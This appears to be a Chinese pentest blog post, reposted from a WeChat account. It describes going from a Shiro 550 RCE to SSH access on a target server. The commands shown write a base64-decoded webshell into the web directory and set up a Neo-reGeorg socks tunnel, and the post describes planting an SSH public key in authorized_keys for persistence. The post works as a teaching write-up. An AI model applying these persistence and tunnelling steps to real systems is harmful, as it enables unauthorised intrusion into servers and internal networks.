渗透测试从RCE到SSH登录

admin 2022年7月13日23:39:39评论66 views字数 1230阅读4分6秒阅读模式

在下方公众号后台回复:【网络安全】,可获取给你准备的最新网安教程全家桶。

在渗透测试中,拿到 webshell 后执行命令总会碰到很多不便,而使用 ssh 登录则会方便许多。相比使用 webshell 工具执行命令,ssh 连接可以有命令提示、路径补全、支持二次交互等优势,本文记录一个从 WEB RCE 漏洞到 SSH 登录的姿势。

过程Getshell

首先通过 Shiro 550 得到一个 shell

渗透测试从RCE到SSH登录

因为网站不出网,所以不能直接反弹 shell,通过 base64 写入 webshell 到 web 目录

echo <base64 webshell> |base64 -d > webapps/uploadImg/shell.jsp;ls -lah

架设代理

网站不出网,所以需要架设 socks 代理访问 ssh 端口及内网主机,这里使用 Neo-reGeorg。首次使用,先生成自己密码的 neoreg 服务端代码

python3 neoreg.py generate -k <your-password>

执行后在 neoreg_servers 找到对应服务端语言的文件,这里是 tunnel.jsp,然后通过上面的 shell 上传到目标服务器 web 目录上,再通过 neoreg 连接

# -k 指定连接密码,就是生成时用的密码
# -u tunnel.jsp 的url
# --skip 忽略https证书错误
# -l 本地socks服务监听ip
# -p 本地socks服务监听端口
python3 neoreg.py -k <your-password> -u https://xxx.com/uploadImg/tunnel.jsp --skip -l 0.0.0.0 -p 30080

写入 ssh 公钥

为了尽量少修改服务器配置,通过写入 ssh 公钥可以不修改密码或者破解密码的情况下连接上 ssh。这里使用 xshell 生成秘钥对,默认选项生成就可以了,shell 会自动保存秘钥对,当然使用 ssh-keygen 也是可以的

渗透测试从RCE到SSH登录

然后把生成的公钥文件,复制到目标主机的 ~/.ssh/authorized_keys 文件中,如果不存在可以创建

渗透测试从RCE到SSH登录

连接 ssh

配置 ssh 连接 127.0.0.2

渗透测试从RCE到SSH登录

配置用户名及公钥连接,公钥选择前面生成那个

渗透测试从RCE到SSH登录

配置代理,使用上面 neoreg 构建的代理

渗透测试从RCE到SSH登录

成功连接 ssh

渗透测试从RCE到SSH登录

为什么连接 127.0.0.2

经过实践发现,通过代理连接目标主机的内网 ip 172.xx.xx.33 连接不上,而连接 127.0.0.1 时则提示主机指纹改变的问题,需要重新写入指纹到目标主机才能连接,然而非 root 用户无法写入,连接 127.0.0.2 则完美避开问题

渗透测试从RCE到SSH登录

- End -

渗透测试从RCE到SSH登录


近期课程上新:

web架构安全分析 | Windoes Server系统管理 | 文件上传漏洞 | 日志审计系统 | 服务器提权与隧道技术 | VPN技术 | 渗透测试导论 | 安全化概述与虚拟化 | 跨站脚本攻击 | 企业组网IP规划与安全防护


渗透测试从RCE到SSH登录

原文始发于微信公众号(网络安全学习圈):渗透测试从RCE到SSH登录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日23:39:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透测试从RCE到SSH登录http://cn-sec.com/archives/1174161.html

发表评论

匿名网友 填写信息